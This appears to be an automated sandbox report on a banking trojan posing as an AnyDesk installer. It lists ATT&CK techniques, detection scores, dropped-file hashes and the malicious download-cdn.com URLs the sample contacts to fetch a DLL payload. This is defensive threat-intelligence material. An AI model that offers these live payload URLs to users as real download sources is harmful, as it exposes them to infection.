Code function: 3_2_00007FF7AF709BB0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

3_2_00007FF7AF709BB0

Source: C:\Windows\Installer\MSI5344.tmp

Code function: 3_2_00007FF7AF725604 _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

3_2_00007FF7AF725604

Source: C:\Windows\SysWOW64\rundll32.exe

7_2_04A09C20

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_04A067F0 OpenDesktopW,CreateDesktopW,SetThreadDesktop,LoadKeyboardLayoutA,GetVersionExW,SystemParametersInfoA,CreateThread,Sleep,Sleep,WaitForMultipleObjects,

7_2_04A067F0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Replication Through Removable Media	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	11 Input Capture	2 System Time Discovery	1 Replication Through Removable Media	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Command and Scripting Interpreter	1 Create Account	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Screen Capture	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	3 PowerShell	1 Registry Run Keys / Startup Folder	112 Process Injection	1 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	11 Input Capture	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	1 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	3 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	25 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	11 File Deletion	Cached Domain Credentials	41 Security Software Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	121 Masquerading	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	21 Virtualization/Sandbox Evasion	Proc Filesystem	3 Process Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	112 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Rundll32	Network Sniffing	1 System Owner/User Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Right-to-Left Override	Input Capture	1 Remote System Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
AnydeskSetup_26b30163.msi	0%	Virustotal		Browse
AnydeskSetup_26b30163.msi	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Windows\Installer\MSI4755.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI48BD.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI494B.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI49E8.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI4B9F.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI5344.tmp	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
7.2.rundll32.exe.10000000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.powershell.exe.11a11318758.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.2.rundll32.exe.10000000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.rundll32.exe.10000000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
download-cdn.com	14%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://litesoft.com/ARPURLINFOABOUTARPURLUPDATEINFOButtonText_Repair&RepairAiPreferFastOem1ProductL	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://download-cdn.com/download.php?f=Ldrp.dll&from=AnydeskSetup_26b30163.msi	100%	Avira URL Cloud	malware
https://download-cdn.com/pload/26b30163	100%	Avira URL Cloud	malware
http://download-cdn.com	100%	Avira URL Cloud	malware
https://download-cdn.com	100%	Avira URL Cloud	malware
https://download-cdn.com/pload/	100%	Avira URL Cloud	malware
https://download-cdn.com/pload/SOFTWARE	100%	Avira URL Cloud	malware
https://download-cdn.com/download.php?f=Ldrp.d	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
download-cdn.com	152.89.196.75	true	true	14%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://download-cdn.com/download.php?f=Ldrp.dll&from=AnydeskSetup_26b30163.msi	true	Avira URL Cloud: malware	unknown
https://download-cdn.com/pload/26b30163	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.376308789.0000011A201BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://litesoft.com/ARPURLINFOABOUTARPURLUPDATEINFOButtonText_Repair&RepairAiPreferFastOem1ProductL	AnydeskSetup_26b30163.msi, 4641a8.msi.1.dr	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.thawte.com/cps0/	AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000004.00000002.350417258.0000011A10DC6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.thawte.com/repository0W	AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.376308789.0000011A201BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://download-cdn.com	powershell.exe, 00000004.00000002.350417258.0000011A112A4000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://download-cdn.com/download.php?f=Ldrp.d	powershell.exe, 00000004.00000002.350417258.0000011A11207000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.advancedinstaller.com	AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	false		high
https://download-cdn.com	powershell.exe, 00000004.00000002.350417258.0000011A10361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.350417258.0000011A10161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.350417258.0000011A1128E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://download-cdn.com/pload/	rundll32.exe, 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmp, rundll32.exe, 00000009.00000002.402040260.000000001001D000.00000004.00000001.01000000.00000008.sdmp, rundll32.exe, 0000000B.00000002.846933227.000000001001D000.00000004.00000001.01000000.00000008.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.350417258.0000011A10161000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://download-cdn.com/pload/SOFTWARE	rundll32.exe, 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmp, rundll32.exe, 00000009.00000002.402040260.000000001001D000.00000004.00000001.01000000.00000008.sdmp, rundll32.exe, 0000000B.00000002.846933227.000000001001D000.00000004.00000001.01000000.00000008.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
152.89.196.75	download-cdn.com	United Kingdom		209003	NEXTVISIONGB	true
64.190.113.123	unknown	United States		26646	TRAVELCLICKCORP1US	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	787624
Start date and time:	2023-01-19 17:54:05 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	AnydeskSetup_26b30163.msi
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.bank.troj.evad.winMSI@18/31@2/2
EGA Information:	Successful, ratio: 75%
HDC Information:	Successful, ratio: 87.7% (good quality ratio 71.8%) Quality average: 63.5% Quality standard deviation: 36.7%
HCA Information:	Successful, ratio: 94% Number of executed functions: 39 Number of non-executed functions: 222
Cookbook Comments:	Found application associated with file extension: .msi Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe
Execution Graph export aborted for target powershell.exe, PID 4440 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:55:18	API Interceptor	26x Sleep call for process: powershell.exe modified
17:55:21	API Interceptor	3x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
download-cdn.com	Rechnung-m.EXText V7.2_2.htm	Get hash	malicious	Browse	5.255.96.163
download-cdn.com	Rechnung-m.EXText V7.2.htm	Get hash	malicious	Browse	5.255.96.163

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TRAVELCLICKCORP1US	https://simplysellinghomes.net/forms/message/tc/?tracking=.Ebiyi.X.Y6.Bg.Wy8i.L6.C.C.W.W.V.C3m.Z_c.Nem.Aug.Q.Tm.Q.Kl.X.U9ow.Q.R.J7.Ym4j0dc.F.M.M.Kdos.L9y.B.Xc.Lhb.T.O76l.M1t8s.Ej8ixj-5yu.I9.Egcllu.A.P.Fs.V.Szhi.G71.S18.B.Vrj.O.I.O8.Syf.M.A.Aecae7c9e29bc089ecc8041f65e19a64c&url=aHR0cHM6Ly9za3J1bmsudG9wP2U9anVkeWljZW1hbkBzdW50ZWwuY29t&encoder=base64&trackingguid=2da0720adb9849dc8469cab9a6bb061a	Get hash	malicious	Browse	64.190.113.172
	QOcKbhJ4xv.docx	Get hash	malicious	Browse	64.190.113.51
	132961959.lnk	Get hash	malicious	Browse	64.190.113.10
	567661299.lnk	Get hash	malicious	Browse	64.190.113.10
	malicious.ps1	Get hash	malicious	Browse	64.190.113.166
NEXTVISIONGB	g2ryYPP94B.exe	Get hash	malicious	Browse	152.89.196.241
	ECCTransp_Bill.pdf..lnk	Get hash	malicious	Browse	152.89.196.195
	Installer.exe	Get hash	malicious	Browse	152.89.196.89
	file.exe	Get hash	malicious	Browse	152.89.196.46
	file.exe	Get hash	malicious	Browse	152.89.196.46
	file.exe	Get hash	malicious	Browse	152.89.196.46
	file.exe	Get hash	malicious	Browse	152.89.196.46
	file.exe	Get hash	malicious	Browse	152.89.196.46
	file.exe	Get hash	malicious	Browse	152.89.196.46
	Wb3nDR0vMj.exe	Get hash	malicious	Browse	152.89.196.234

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Invoice#324621.one	Get hash	malicious	Browse	152.89.196.75
	file.exe	Get hash	malicious	Browse	152.89.196.75
	SecuriteInfo.com.Variant.Marsilia.2083.15907.31615.exe	Get hash	malicious	Browse	152.89.196.75
	SecuriteInfo.com.Variant.Marsilia.2083.7745.11717.exe	Get hash	malicious	Browse	152.89.196.75
	SecuriteInfo.com.Variant.Marsilia.2083.26360.7272.exe	Get hash	malicious	Browse	152.89.196.75
	SecuriteInfo.com.Variant.Marsilia.2083.1176.50.exe	Get hash	malicious	Browse	152.89.196.75
	SecuriteInfo.com.Variant.Marsilia.2083.1776.31846.exe	Get hash	malicious	Browse	152.89.196.75
	Qp0NtYJBeV.exe	Get hash	malicious	Browse	152.89.196.75
	f9nBTm6uVU.exe	Get hash	malicious	Browse	152.89.196.75
	4.exe	Get hash	malicious	Browse	152.89.196.75
	2.exe	Get hash	malicious	Browse	152.89.196.75
	1.exe	Get hash	malicious	Browse	152.89.196.75
	3.exe	Get hash	malicious	Browse	152.89.196.75
	rey2.exe	Get hash	malicious	Browse	152.89.196.75
	Insidious.exe	Get hash	malicious	Browse	152.89.196.75
	HEUR-Trojan-Spy.MSIL.Stealer.gen-21b581a0eee0.exe	Get hash	malicious	Browse	152.89.196.75
	v.vbs	Get hash	malicious	Browse	152.89.196.75
	HEUR-Trojan-Spy.MSIL.Stealer.gen-6cba34b2db52.exe	Get hash	malicious	Browse	152.89.196.75
	file.exe	Get hash	malicious	Browse	152.89.196.75

Dropped Files

⊘No context

Created / dropped Files

C:\Config.Msi\4641aa.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	5.68697575242407
Encrypted:	false
SSDEEP:	24:apgdNjYbBSb86Js1petpyVvp6pUcXFPAajDhiSgkLoy928pP:2YWBmjJie7lPBD8SgkLoypB
MD5:	4A971F983BBDACA91CD137C19A002EBF
SHA1:	AC2B80C7C1179303014C2F1AA4794B609EACEFF8
SHA-256:	5032E3B193FEC54BADCEE2E948FB5EE9418F0D04584A75006378DDBBA2B593F3
SHA-512:	D4B835B2D2A52EB7EE52300B093EAE13EB4A03A9B5E80F172A8613F28E77FAC23B7A8CEBF968497431AD1E20F64A5A7FB0580188664F6A95CCEEC33A2E4D2645
Malicious:	false
Preview:	...@IXOS.@.....@.3V.@.....@.....@.....@.....@.....@......&.{853FDFB3-3FDA-4BE8-93BC-8C6F2CE14283}..Install..AnydeskSetup_26b30163.msi.@.....@.....@.....@........&.{5BA1D35A-31C3-4F28-8E20-0708E7E043E2}.....@.....@.....@.....@.......@.....@.....@.......@......Install......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{8AB84B36-184D-4684-8707-874E36A61D17}&.{853FDFB3-3FDA-4BE8-93BC-8C6F2CE14283}.@......&.{30B02290-2DDA-4BA0-9140-D24ED77E9E3E}&.{853FDFB3-3FDA-4BE8-93BC-8C6F2CE14283}.@......&.{0E94232D-D6E0-4C49-A408-F0232921B8AC}&.{853FDFB3-3FDA-4BE8-93BC-8C6F2CE14283}.@......&.{838A83DC-DF99-47B7-B927-CE1AA64BEF1F}&.{853FDFB3-3FDA-4BE8-93BC-8C6F2CE14283}.@........CreateFolders..Creating folders..Folder: [1]#.0.C:\Users\user\AppData\Roaming\Litesoft\Install\.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]..0.C:\Users\user\AppData\Roaming\Litesoft\Install\....?

C:\ProgramData\435f8fae.dat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112640
Entropy (8bit):	6.261871639276108
Encrypted:	false
SSDEEP:	3072:VjTnG+1jUUgr5uOrWpWOqwjH9ne/pusp5sWNlO:VfG+CNu9PGYsZvO
MD5:	8D357C64F762B413D4B1F30993F1585B
SHA1:	5212782DE8B6F53057DF9EB50D39D3290EB0DF21
SHA-256:	F42637F496A584A3B4A47EE9604A8E5CD187D4CCE52B0A34113962E3EACF62F3
SHA-512:	3699246A22FECDB175BC259D7BE86BDDDF31CED05665493AFA007B54DF38F8CAF395581713AD567D3E2BBBE2B31C7D50BD65AAAAFAD6A3A66912D0BA2894E33A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...7916...........!.........................0......................................................................P...p......d....................................................................................0...............................text............................... ..`.rdata......0......................@..@.data...............................@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	5.328313848310485
Encrypted:	false
SSDEEP:	24:3aEPpQrLAo4KAxX5qRPD42HZFe9t4CvKaBPnKdib:qEPerB4nqRL/HZFe9t4CvpBfuib
MD5:	97CDD8AFAFE722831D634C23F01F33C1
SHA1:	2693CD446D793F20DD44BC9EC7E838A3DB275D54
SHA-256:	570A0B55F5A3D230EF9EA312992A172B75F1111F6AE1636AEC9AF97B54A91CDC
SHA-512:	55A0348CE4E3992B2EBE22165C4DB26C8A62A9A99208414176DF11EBD5654981F7FFCD97E3D0B2780B3197DCE3E32B85F9CBF6803FFE751F3F780F1248E22190
Malicious:	false
Preview:	@...e................................................@..........8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP...............-K..s.F..*.]`.,......(.Microsoft.PowerShell.Commands.ManagementD..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gld1ncvw.egc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s4amu3bk.wcr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Litesoft\Install\vcredist_x86.7z

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	7-zip archive data, version 0.4
Category:	dropped
Size (bytes):	8990787
Entropy (8bit):	7.999980243159717
Encrypted:	true
SSDEEP:	196608:5TB72D9sHaxi6EZFX+9dJ2evTmzBG15MwTWzNUKxzKM2oChto5m:xB6xsHaUX+9jAcMHpeMFChWm
MD5:	C1333C3597F41B93EF0FF13276B55263
SHA1:	343C01530B80DC76F45E8E97E2195F13325D8064
SHA-256:	645D5C23541E92D4B3327BE43D3791898F9193C66532AFD2E219FFB3032AE5C1
SHA-512:	2F4E0E9FC9E49479BAEA4C8AF354951CFF8C47A967044C1422857FFFBBE5E0E51605C2355F64670B4E85D8214619E7178FFA2E2A72654F107BE733B3646CFFEE
Malicious:	false
Preview:	7z..'....CsF./......3........M....U..MX......u72M......(n..?...(O...c...3.....7\|..A.u.Q.f."daI.S..Q.EN3....E..ufg<}.-.`bES..K.......&.(.....J..%..:.....#.Z.b...8L'..~.......g_t..._.&.......jb.B..s..A..D.^.c0...<a.X..Zlm.\.%..Yv:........YX"k)...dy\.l...K=.V...,.W.^..lL..........O...)[ ..R...@...p..Q.Y:.O.....t.r..#.J....:.P..)5.N.P..C.B.bz. ....Q1.)......={Q........r.G.....uj..u..u;...s.{..LL...8.g...N..c.(..\|.tc..sw.Oz&.......F.....E0..y..H...C+.qFE.M..i\|xI.....]..4......f.p=..7.z.....\?...`K.e......W04.).j(.\|...H..f.x..9H..E.<.5F.I`Q....m?.d..~.].H.\|.....E.f.C..Y....7f.\..?..u.L/..y},5.~HS%..t.@...z~'..._.K......dBLZ....t...q.$ .P..>...W..DH...i....,;..@...Ba....Kfl3...=5..6t..Y.6Aw..f,..vJ...fG.r.56lwL.A...>pgIf.ZXn....(.jS.~..=J.h.J...!....F...A`.!?.y7.....].8.l6.7kr...ssQ...L.E.v..>jw.....6..<.r3(z.A..H~,..v....w.....+d.N.....O.;....M.m.<]hS..^)KT...Zm..M..n.....[...c....}.Y.......i9.....Y..lv..$Oe.,.b..zb.............C c

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6205
Entropy (8bit):	3.7568766452219915
Encrypted:	false
SSDEEP:	96:krXBaq99S8/JA/1/c0CO/Y6qWkvhkvCCtC86HLa086HLar:Il9SuJa1DY5CC1a01ar
MD5:	5D46BE1F18F80762E865EEC25BBAE0CE
SHA1:	37607DD15C5AC3EEBFAF8ECBB5CD417F6E8BB918
SHA-256:	81D314C273C0E43498D6B958F8DD5F13ED26057D914C04F773EE5AB714CEB53E
SHA-512:	19AB9394EC52C1018AC369C0AEA1981A34D6DC750F98AD240A7A7351E6831962813938950B58E9122A8EA4A178FD3923EA6151731F0440B1FD9CA5EBD63F81F9
Malicious:	false
Preview:	...................................FL..................F.".. ....J...-...rt^.`..\.................................:..DG..Yr?.D..U..k0.&...&...........-..X...u....Ws.&,......t...CFSF..1......N....AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......N..3V......Y....................yN\|.A.p.p.D.a.t.a...B.V.1.....3V...Roaming.@.......N..3V......Y.....................?..R.o.a.m.i.n.g.....\.1.....>Q.;..MICROS~1..D.......N..3V......Y.....................sJ.M.i.c.r.o.s.o.f.t.....V.1......U4m..Windows.@.......N..3V......Y......................O.W.i.n.d.o.w.s.......1......N....STARTM~1..n.......N..3V......Y..............D.....6...S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P.S..Programs..j.......N..3V......Y..............@........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......N...U.f.....Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......N...P3Q.....Y..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KRYLUQIL0MY15GSRVS7I.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6205
Entropy (8bit):	3.7568766452219915
Encrypted:	false
SSDEEP:	96:krXBaq99S8/JA/1/c0CO/Y6qWkvhkvCCtC86HLa086HLar:Il9SuJa1DY5CC1a01ar
MD5:	5D46BE1F18F80762E865EEC25BBAE0CE
SHA1:	37607DD15C5AC3EEBFAF8ECBB5CD417F6E8BB918
SHA-256:	81D314C273C0E43498D6B958F8DD5F13ED26057D914C04F773EE5AB714CEB53E
SHA-512:	19AB9394EC52C1018AC369C0AEA1981A34D6DC750F98AD240A7A7351E6831962813938950B58E9122A8EA4A178FD3923EA6151731F0440B1FD9CA5EBD63F81F9
Malicious:	false
Preview:	...................................FL..................F.".. ....J...-...rt^.`..\.................................:..DG..Yr?.D..U..k0.&...&...........-..X...u....Ws.&,......t...CFSF..1......N....AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......N..3V......Y....................yN\|.A.p.p.D.a.t.a...B.V.1.....3V...Roaming.@.......N..3V......Y.....................?..R.o.a.m.i.n.g.....\.1.....>Q.;..MICROS~1..D.......N..3V......Y.....................sJ.M.i.c.r.o.s.o.f.t.....V.1......U4m..Windows.@.......N..3V......Y......................O.W.i.n.d.o.w.s.......1......N....STARTM~1..n.......N..3V......Y..............D.....6...S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P.S..Programs..j.......N..3V......Y..............@........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......N...U.f.....Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......N...P3Q.....Y..........

C:\Windows\Installer\4641a8.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {5BA1D35A-31C3-4F28-8E20-0708E7E043E2}, Number of Words: 10, Subject: Install, Author: Litesoft, Name of Creating Application: Install (Evaluation Installer), Template: ;1033, Comments: This installer database contains the logic and data required to install Install. (Evaluation Installer), Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	11544064
Entropy (8bit):	7.8643466592060065
Encrypted:	false
